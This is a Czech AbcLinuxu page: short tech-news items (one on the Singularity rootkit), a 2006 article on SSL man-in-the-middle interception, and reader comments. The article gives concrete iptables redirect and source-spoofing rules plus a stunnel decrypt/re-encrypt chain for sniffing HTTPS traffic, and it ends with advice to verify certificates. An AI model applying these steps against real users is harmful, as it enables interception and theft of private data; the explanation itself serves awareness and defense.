Javascriptová knihovna jQuery (Wikipedie) oslavila 20. narozeniny, John Resig ji představil v lednu 2006 na newyorském BarCampu. Při této příležitosti byla vydána nová major verze 4.0.0.
Singularity je rootkit ve formě jaderného modulu (Linux Kernel Module), s otevřeným zdrojovým kódem dostupným pod licencí MIT. Tento rootkit je určený pro moderní linuxová jádra 6.x a poskytuje své 'komplexní skryté funkce' prostřednictvím hookingu systémových volání pomocí ftrace. Pro nadšence je k dispozici podrobnější popis rootkitu na blogu autora, případně v článku na LWN.net. Projekt je zamýšlen jako pomůcka pro bezpečnostní experty a výzkumníky, takže instalujte pouze na vlastní nebezpečí a raději pouze do vlastních strojů 😉.
Iconify je seznam a galerie kolekcí vektorových open-source ikon, ke stažení je přes 275000 ikon z více jak dvou set sad. Tento rovněž open-source projekt dává vývojářům k dispozici i API pro snadnou integraci svobodných ikon do jejich projektů.
Dle plánu certifikační autorita Let's Encrypt nově vydává také certifikáty s šestidenní platností (160 hodin) s možností vystavit je na IP adresu.
V programovacím jazyce Go naprogramovaná webová aplikace pro spolupráci na zdrojových kódech pomocí gitu Forgejo byla vydána ve verzi 14.0 (Mastodon). Forgejo je fork Gitei.
Just the Browser je projekt, 'který vám pomůže v internetovém prohlížeči deaktivovat funkce umělé inteligence, telemetrii, sponzorovaný obsah, integraci produktů a další nepříjemnosti' (repozitář na GitHubu). Využívá k tomu skrytá nastavení ve webových prohlížečích, určená původně pro firmy a organizace ('enterprise policies'). Pod linuxem je skriptem pro automatickou úpravu nastavení prozatím podporován pouze prohlížeč Firefox.
Svobodný multiplatformní herní engine Bevy napsaný v Rustu byl vydán ve verzi 0.18. Díky 174 přispěvatelům.
Miliardy korun na digitalizaci služeb státu nestačily. Stát do ní v letech 2020 až 2024 vložil víc než 50 miliard korun, ale původní cíl se nepodařilo splnit. Od loňského února měly být služby státu plně digitalizované a občané měli mít právo komunikovat se státem digitálně. Do tohoto data se povedlo plně digitalizovat 18 procent agendových služeb státu. Dnes to uvedl Nejvyšší kontrolní úřad (NKÚ) v souhrnné zprávě o stavu digitalizace v Česku. Zpráva vychází z výsledků víc než 50 kontrol, které NKÚ v posledních pěti letech v tomto oboru uskutečnil.
Nadace Wikimedia, která je provozovatelem internetové encyklopedie Wikipedia, oznámila u příležitosti 25. výročí vzniku encyklopedie nové licenční dohody s firmami vyvíjejícími umělou inteligenci (AI). Mezi partnery encyklopedie tak nově patří Microsoft, Amazon a Meta Platforms, ale také start-up Perplexity a francouzská společnost Mistral AI. Wikimedia má podobnou dohodu od roku 2022 také se společností Google ze skupiny
… více »D7VK byl vydán ve verzi 1.2. Jedná se o fork DXVK implementující překlad volání Direct3D 5, 6 a 7 na Vulkan. DXVK zvládá Direct3D 8, 9, 10 a 11.
V tomto případě tkví problém v nevědomosti uživatelů, kteří většinou netuší, že připojení zabezpečené pomocí SSL je možné obejít několika docela jednoduchými triky. Ten nejjednodušší bych v modelové scéně popsal.
Mějme situaci, kdy se útočník dostane na router, firewall (či nějaký jiný průchozí stroj). Může pomocí sniffování získat veškerá data procházející počítačem, pokud nejsou zašifrována. Když ale vidí, že se někteří uživatelé připojují na služby zabezpečené pomocí SSL, má v zásadě dvě možnosti. A to vykašlat se na to, nebo 'přepojit' uživatele přes svůj vlastní rádoby SSL server. A jak teď na to? Více napoví následující vyobrazení (berme v potaz https připojení):
Nákres zpracoval Richard "Ricardo" Szlachta
Jak je vidět, uživatel si pouze myslí, že se připojuje k serveru, zatímco je napojen na záškodnické zařízení, kde je jsou jeho data rozšifrována, přečtena, znovu zašifrována a odeslána na server.
Nejdříve je tedy potřeba uživatelskou komunikaci přesměrovat někam, kde se s ní dá pracovat. Třeba na localhost routeru. To provedeme jednoduchou změnou netfilteru:
AbcLinuxu.cz
ITBiz.cz
HDmag.cz
AbcPráce.cz
iptables -t nat -I PREROUTING -d server -p tcp --dport 443 \
-j DNAT --to 192.168.100.1:1111
Nyní pokaždé, když se uživatel připojí na server, bude cesta jeho dat končit na portu 1111 v routeru. Sem musíme připojit koncové zařízení SSL, ke kterému bychom napojili uživatele. To uděláme pomocí programu stunnel, který se používá k 'obalování' nešifrovaného toku dat SSL vrstvou. Vytváří něco jako tunel, jehož jedna strana je šifrovaná a druhá ne. Jeho použití:
stunnel [-d [ip:]port -r [ip:]port -c]
-d [ip:]port port k naslouchání na localhostu. Parametr ip,
pokud není uvedeno jinak, je localhost.
-r [ip:]port port a ip, na které se má stunnel připojit,
pokud mu přijde spojení na naslouchací port
(uvedený parametrem -d). Ip, pokud není
uvedeno jinak, je nastavena na localhost.
-c stunnel se bude chovat jako klient. Určuje,
na které straně bude spojení šifrované pomocí SSL.
Pokud je uvedené, bude šifrovaná strana vzdálená
(určená parametrem -r), výchozí je spojení
šifrované na straně naslouchací (-d).
Pozn. Já používám verzi 3.26., protože nová verze používá místo klasického nastavení pomocí konfiguračních parametrů jakési soubory, které jsou podle mne zdlouhavé na tvorbu. Nicméně, pokud by někdo chtěl použít novou verzi, tak ho mohu odkázat na manuál k stunnel ;-).
Pro správné fungování stunnel jako serveru je ještě nutné vlastnit podepsaný certifikát. Je možné vytvořit vlastní, nicméně to má docela velkou chybu, o které ale až ke konci článku. Ať už někde certifikát seženeme, či si vytvoříme vlastní, je potřeba ho programu stunnel představit. A to buď nahrát do výchozího umístění (u mne /etc/ssl/certs/stunnel.pem) nebo určit pomocí parametru -p.
Pro naše účely tedy použijeme:
stunnel -d 1111 -r 1112
Nyní máme na portu 1112 nešifrovaná data. Ta je potřeba ale zase zašifrovat a poslat k serveru:
stunnel -c -d 1112 -r server:443
Toto lze použít pouze v případě, kdy má router stejnou IP adresu, jako by měla data před naším zásahem -> tzn. je routerem. Pokud to tak není, je třeba ještě správně nastavit zdrojovou adresu, aby to na serveru nevypadalo moc podezřele...:
iptables -t nat -I POSTROUTING -p tcp --dport 443 \
-d server -j SNAT --to client
Nyní už stačí jen spustit sniffer na portu 1112 a máme veškerá data uložena na disku.
Má to ale celé jeden háček. Pokud nepoužijeme v stunnel certifikát podepsaný nějakou autoritou, bude uživatel upozorněn a vybídnut k odmítnutí spojení a proto touto technikou nedokážeme ošálit pozorného uživatele, který nebude zbrkle klikat ve svém prohlížeči na "Přesto přijmout" a námi podvržený certifikát odmítne.
A jak se proti něčemu takovému bránit? Velice jednoduše. Ať už SSL používáme pro cokoli, je vždy vhodné si zkontrolovat informace o použitém certifikátu, nebo se alespoň nechat upozorňovat na změnu v certifikátu a cokoliv podezřelého odmítnout!
Doufám, že článek dal někomu potřebné informace k udržení svého soukromí v hlubokých vodách internetu plných zrádných mělčin a dravých žraloků. Důležitost SSL není vhodné opomíjet, pokud nám na našich datech záleží...
Nástroje: Tisk bez diskuse
Tiskni
Sdílej:
15.6.2006 08:52
hwsoft | skóre: 19
A k vlastnímu článku... když někdo popisuje man-in-the-middle attack, resp. postup, jak ho provést, pro koho je tento článek určen? Pro běžného uživatele? Nebo pro admina, čili člověka s poměrně hlubokými znalostmi v oboru? Já jsem tam čekal něco pro toho admina. No... a z článku jsem si odnesl jen to, že když chci použít stunnel, mám se mrknout do manuálu na parametry. Hmmm. Promiň, ale to je málo.
Mno, takže když vezmu v úvahu obsah a formu, výsledný dojem je špatný. Ale je to jen můj názor, se kterým samozřejmě nemusí nikdo další souhlasit. Ostatní reakce jsem zatím nečetl, tak nevím, jestli jsem jediný. 
Koneckonců, jsi šéfredaktor (?), takže pokud chceš jen oslavné komentáře, tak mi administrativně zakaž přispívat, nebo diskuse moderuj a nevhodné příspěvky maž.
pokud někdo napíše, že je článek mizerný, objeví se pod tímto komentářem tvá reakce ve stylu "vítám konkrétní přípomínky, ale u tebe vidím jen plivnutí"Ano, pokud se skutečně jedná o pouhé plivnutí. Reaguji tak tehdy, když někdo vloží pod článek komentář, ve kterém není kritika, nýbrž pouhé odsouzení - aniž by připojil, co ho k takovému hodnocení vede. Kdyby sis přeci jen chtěl dát tu práci s prohledáváním diskuzí, objevil bys také spoustu kritických komentářů, ke kterým jsem se nijak nevyjadřoval. To proto, že v nich bylo řečeno, co je na článku špatného. Pak nemám důvod se autora zastávat, protože je na něm, aby svůj výtvor obhájil.
Koneckonců, jsi šéfredaktor (?), takže pokud chceš jen oslavné komentáře, tak mi administrativně zakaž přispívat, nebo diskuse moderuj a nevhodné příspěvky maž.Připadáš si ukřivděně, že jsem se ozval proti tvému komentáři, a proto teď vymýšlíš podobné nesmysly? Ty jsi plivl na článek, mně se to nelíbilo; tak nebuď ublížený a nepodsouvej mi nějakou administrátorskou zvůli.
), ze si ublizene oprvdu nepripadam. Ber to jako uprimny navrh, jak lze resit nastalou situaci.
Mimochodem, uz jsme hodne daleko od tematu, navrhuju, abych v pripade potreby pokracovali jinde (mail na me mas, takze treba tak).
Jaký je mezitím rozdíl ? Prakticky žádný ...To bohužel není příliš šťastný přístup, protože ačkoliv je v kontextu článku zřetelně patrné, co je tím myšleno, přesto nejde o synonyma.
16.6.2006 10:43
Petr Tomášek | skóre: 39
| blog: Vejšplechty
15.6.2006 10:21
Martin Ždila | skóre: 10
| Košice, Slovensko
Omlouvám se Vám, že jsem se snažil článek trochu zdramatizovat, příště se to rozhodně už nestane.Pokud narazis na ty hovorove vyrazy, smele v nich pokracuj.
16.6.2006 10:49
Petr Tomášek | skóre: 39
| blog: Vejšplechty
Kódování a šifrování je naprosto stejná činnost, pouze se v různém kontextu pro tuto činnost používá různé označení, aby bylo zřejmé, za jakým účelem se tato činnost provádí. Kódování je převod symbolu na jiný symbol např. znak 'A' na 0x41. Stejně tak šifrování je převod symbolu na jiný symbol např. 'A' -> F#%.
15.6.2006 23:31
MaT | skóre: 28
Ale v takovémto článku by se toto rozlišovat mělo - chcete poučovat laiky? Tak to snad neznamená, že musíte prznit terminologii...
Btw: "slova stejného výrazu" - považujete "výraz" za synonymum k "význam"? Já tedy ne. :o)
16.6.2006 07:32
Petr (DotaZ) Jakubec | skóre: 5
Jen mi tam chybi jak se da rucne overit certifikat, resp. proste vice rozvest ochranu proti tomuto "vylepsenemu" pripojovani.
15.6.2006 15:21
Mikos | skóre: 34
| blog: Jaderný blog
| Praha
pubescentůnení člověk mezi 15 a 18 rokem života adolescent? buď ty nebo já, jeden z nás dvou si plete pojmy a průjmy
15.6.2006 10:28
Valoun | skóre: 30
| blog: Psavec
| Středočeský kraj
Kdybych měl možnost zatrhnout - "přesto tomuto certifikátu věř, a zařvi teprve až se změní",To jako něco takového (Thunderbird 1.5.0.4, ale chovalo se to tak i v 1.0.x)?
15.6.2006 12:02
Valoun | skóre: 30
| blog: Psavec
| Středočeský kraj
localhost si asi opravdu pro něj jako alias v hosts nenastavíte...
Správce toho serveru je evidentně prase...
15.6.2006 12:47
Valoun | skóre: 30
| blog: Psavec
| Středočeský kraj
PS: Sám ani mail server nastavit neumím, natož abych věděl, jak je možné nastavit jej tak, aby pro každou doménu posílal jiný certifikát (častý problém u hostingů)Nevím, já sice doma provozuju na jednom IMAP serveru více domén, ale všichni (tři
) klienti se připojují na imap.jaros.org a název domény je až v uživatelském jménu. Neřeší to hostingy také tak? Že by něco jako virtuální servery na jedné IP adrese, jaké jsou např. u HTTP, fungovalo i u IMAP nevím, na druhou stranu příslušné specifikace jsem nijak zvlášť nezkoumal.
Na každý pád jak oni, tak já používáme Courier-Imap, oni očividně používají automaticky generovaný certifikát aniž by se obtěžovali změnit před jeho vygenerováním výchozí hodnoty. Také jsem tam tohle po instalaci měl; pokud si dobře pamatuju, stačilo poeditovat /etc/courier-imap/imapd.cnf a spustit mkimapdcert (pod Gentoo). Samozřejmě profi hosting by podle mého soudu měl mít certifikáty podepsané někým důvěryhodným...
15.6.2006 19:25
michich | skóre: 51
| blog: ohrivane_parky
pracují s certifikáty značně nešťastně. V certifikátu je možno uvést více záznamů, např. více E, CN apod. Jenže Obluda bere pouze první CN záznam a na ostatní už se nedívá. Proto pokud používám jeden certifikát pro moje.domena.tld i www.domena.tld tak Obluda bude vždycky na www hystericky ječet. A Fretky si zase od jisté verze usmyslely, aby v tom byl ještě větší bordel, že nejinteligentnější bude brát pro změnu poslední certifikát . Řešením je oželet veškeré aliasy a nechat pouze jeden CN záznam a doufat, že to bude fungovat. V opačném případě si stěžuje vždy jiná část uživatelů a já se divím proč, když mi to funguje...
Další zrada v SSL tkví v tom (viz prý ,,zázračný`` m$ firewall, který sleduje i SSL spojení a jiné), že v prohlížeči je default napráskána tuna naprosto pofidérních autorit, které jsou v zápalu bakšiše schopny podepsat naprosto cokoliv. Může se tedy lehce stát, když bude někdo hodně neodbytný a trpělivý, že mu některá z ,,autorit`` podepíše i evil certifikát. Zde je řešením nechat si v prohlížeči pouze autoritu vlastní, případně pár dalších, kterým důvěřujeme a jinak si raději ukládat certifikáty serverů. Pokud se potom změní, je to vidět. Jinak by ale došlo k tomu, že při změně za nějaký bordel, který je ale podepsán, ale někým úplně jiným, by mu prohlížeč bezmezně věřil dál. Zabezpečené spojení na bázi SSL/TLS certifikátů implementuje protokol https, volitelnou součástí je autentizace klienta klientským certifikátem. Příslušná implementace závisí na tom, o jaký webový server se jedná a o jaký klientský prohlížeč – např. Firefox, Mozilla, MSIE autentizaci klientským certifikátem umí a přepdokládám, že ot samé platí i pro ostatní rozšířené prohlížeče. Ohledně serverů, vím, že to určitě umí Jetty, Apache na to předpokládám taky bude mít nějaký modul…